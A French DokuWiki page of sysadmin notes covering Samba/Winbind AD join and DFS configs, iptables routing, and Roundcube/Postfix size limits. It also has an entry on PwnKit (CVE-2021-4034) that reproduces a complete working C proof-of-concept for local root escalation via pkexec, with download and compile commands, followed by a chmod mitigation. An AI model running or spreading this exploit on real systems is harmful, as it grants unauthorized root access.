Outils pour utilisateurs

Outils du site


blog

Samba Winbind - AD - Exemple de conf

Conf NTP

/etc/hosts

127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
127.0.1.1   pc1.plop.acme.local pc1

/etc/resolv.conf

#domain plop.acme.local
search acme.local plop.acme.local
options rotate timeout:1 retries:1
nameserver 192.168.20.153
nameserver 192.168.20.154

/etc/krb5.conf

[logging]
        default = FILE10000:/var/log/krb5lib.log
 
[libdefaults]
        default_realm = PLOP.ACME.LOCAL
        default_keytab_name = FILE:/etc/krb5.keytab
 
# The following krb5.conf variables are only for MIT Kerberos.
        krb4_config = /etc/krb.conf
        krb4_realms = /etc/krb.realms
        kdc_timesync = 1
        ccache_type = 4
 
[appdefaults]
        kinit = {
        forwardable = true
        proxiable = true
        }
 
# The following encryption type specification will be used by MIT Kerberos
# if uncommented.  In general, the defaults in the MIT Kerberos code are
# correct and overriding these specifications only serves to disable new
# encryption types as they are added, creating interoperability problems.
#
# Thie only time when you might need to uncomment these lines and change
# the enctypes is if you have local software that will break on ticket
# caches containing ticket encryption types it doesn't know about (such as
# old versions of Sun Java).
 
 
# The following libdefaults parameters are only for Heimdal Kerberos.
        v4_instance_resolve = false
        v4_name_convert = {
                host = {
                        rcmd = host
                        ftp = ftp
                }
                plain = {
                        something = something-else
                }
        }
        fcc-mit-ticketflags = true
 
[realms]
        PLOP.ACME.LOCAL = {
                kdc = cd1-plop:88
                kdc = GDC01:88
                admin_server = cd1-plop:749
                default_domain = plop.acme.local
        }
 
[domain_realm]
        PLOP = PLOP.ACME.LOCAL
        .plop.acme.local = PLOP.ACME.LOCAL
 
[login]
        krb4_convert = true
        krb4_get_tickets = false

/etc/samba/smb.conf

# Global parameters
[global]
        #obey pam restrictions = Yes
        realm = PLOP.ACME.LOCAL
        workgroup = PLOP
        security = ADS
        #template homedir = /staff/%U
        #template shell = /bin/bash
        winbind enum groups = Yes
        winbind enum users = Yes
        winbind use default domain = Yes
        winbind refresh tickets = yes
        idmap config * : range = 10000-20000
        idmap config * : backend = tdb
        #password server = cd1-plop.plop.acme.local
        password server = *
        winbind separator = /
	# Pas d'imprimante
        printing = bsd
        printcap name = /dev/null
        load printers = No
        cups options = raw
	#
        # empêche le client de devenir maitre explorateur
        domain master = no
        local master = no
        preferred master = no
        os level = 0
	#
 
[DATA]
        create mask = 0666
        directory mask = 0777
        path = /data/
        read only = No
        valid users = acme/user1, plop/admin
kinit admin@PLOP.ACME.LOCAL
 
yum install samba-winbind samba-winbind-clients
 
net ads join -U admin
 
authselect select winbind with-mkhomedir --force
 
getent passwd 
getent passwd ACME/user1
2025/03/24 15:06

Samba - DFS

Voir :

Conf globale

host msdfs = yes

Le répertoire partagé doit être considéré comme une racine DFS

msdfs root = yes

Gérer un partage DFS est assez facile. Dans le répertoire partagé en tant que racine DFS, vous allez créer des liens Unix qui seront interprétés par Samba comme des liens DFS. Si vous voulez, vous pouvez aussi y créer des répertoires normaux et sous ces répertoires d'autres liens DFS. Vous n'êtes donc pas limité à une structure plate.

Les liens que vous créez peuvent l'être en utilisant l'une des notations suivantes :

ln -s msdfs:<server>\\<share> <DFS link name>
ln -s msdfs:<server1>\\<share>,<server2>\\<share> <DFS link name>
ln -s msdfs:<server>\\share\dir1\dir2(...) <DFS link name>
2025/03/24 15:06

Routage sous GNU/Linux

echo 1 > /proc/sys/net/ipv4/ip_forward

Autoriser tout

iptables -P FORWARD ACCEPT

Autoriser eth0 à accéder à Internet

iptables -A FORWARD -i eth0 -o ppp0 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -i ppp0 -o eth0 -m state --state ESTABLISHED,RELATED -j ACCEPT

Exemple de conf

-A INPUT -i virbr4 -p udp -m udp --dport 53 -j ACCEPT
-A INPUT -i virbr4 -p tcp -m tcp --dport 53 -j ACCEPT
-A INPUT -i virbr4 -p udp -m udp --dport 67 -j ACCEPT
-A INPUT -i virbr4 -p tcp -m tcp --dport 67 -j ACCEPT
-A FORWARD -d 192.168.2.0/24 -i enp130s0 -o virbr4 -j ACCEPT
-A FORWARD -s 192.168.2.0/24 -i virbr4 -o enp130s0 -j ACCEPT
-A FORWARD -i virbr4 -o virbr4 -j ACCEPT
-A FORWARD -o virbr4 -j REJECT --reject-with icmp-port-unreachable
-A FORWARD -i virbr4 -j REJECT --reject-with icmp-port-unreachable
-A OUTPUT -o virbr4 -p udp -m udp --dport 68 -j ACCEPT
2025/03/24 15:06

Roundcube pb de taille msg Le fichier téléversé dépasse la taille maximale de 2,0 Mo

Erreur “Le fichier téléversé dépasse la taille maximale de 2,0 Mo”

/etc/php/7.0/fpm/php.ini

upload_max_filesize = 2M

/etc/php/7.0/fpm/php.ini

post_max_size = 8M
systemctl restart php7.0-fpm.service

Autres

Erreur SMTP : Message size exceeds server limit
postconf -d | grep message_size_limit
message_size_limit = 10240000

(10240000 / 1024) / 1024 = 9,76 Mo

postconf -e 'message_size_limit = 20240000'
systemctl reload postfix
2025/03/24 15:06

Rootkit pwnkit - local privilege escalation vulnerability pkexec cve-2021-4034

Voir aussi :

2022-01-27

12 ans que GNU/Lunix était vulnérable

Source :

cve-2021-4034-poc.c

/*
 * Proof of Concept for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) by Andris Raugulis <moo@arthepsy.eu>
 * Advisory: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
char *shell = 
	"#include <stdio.h>\n"
	"#include <stdlib.h>\n"
	"#include <unistd.h>\n\n"
	"void gconv() {}\n"
	"void gconv_init() {\n"
	"	setuid(0); setgid(0);\n"
	"	seteuid(0); setegid(0);\n"
	"	system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
	"	exit(0);\n"
	"}";
 
int main(int argc, char *argv[]) {
	FILE *fp;
	system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
	system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
	fp = fopen("pwnkit/pwnkit.c", "w");
	fprintf(fp, "%s", shell);
	fclose(fp);
	system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
	char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
	execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}
curl https://raw.githubusercontent.com/arthepsy/CVE-2021-4034/main/cve-2021-4034-poc.c
gcc cve-2021-4034-poc.c
$ ./a.out
#

Solution

Mise à jours ou

$ ls -l /usr/bin/pkexec
-rwsr-xr-x 1 root root 23440  3 juin   2021 /usr/bin/pkexec

$ LANG=C stat /usr/bin/pkexec |grep ^Access
Access: (4755/-rwsr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2022-01-27 14:01:49.383667085 +0100

$ sudo chmod -s /usr/bin/pkexec
2025/03/24 15:06
blog.txt · Dernière modification : de 127.0.0.1

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki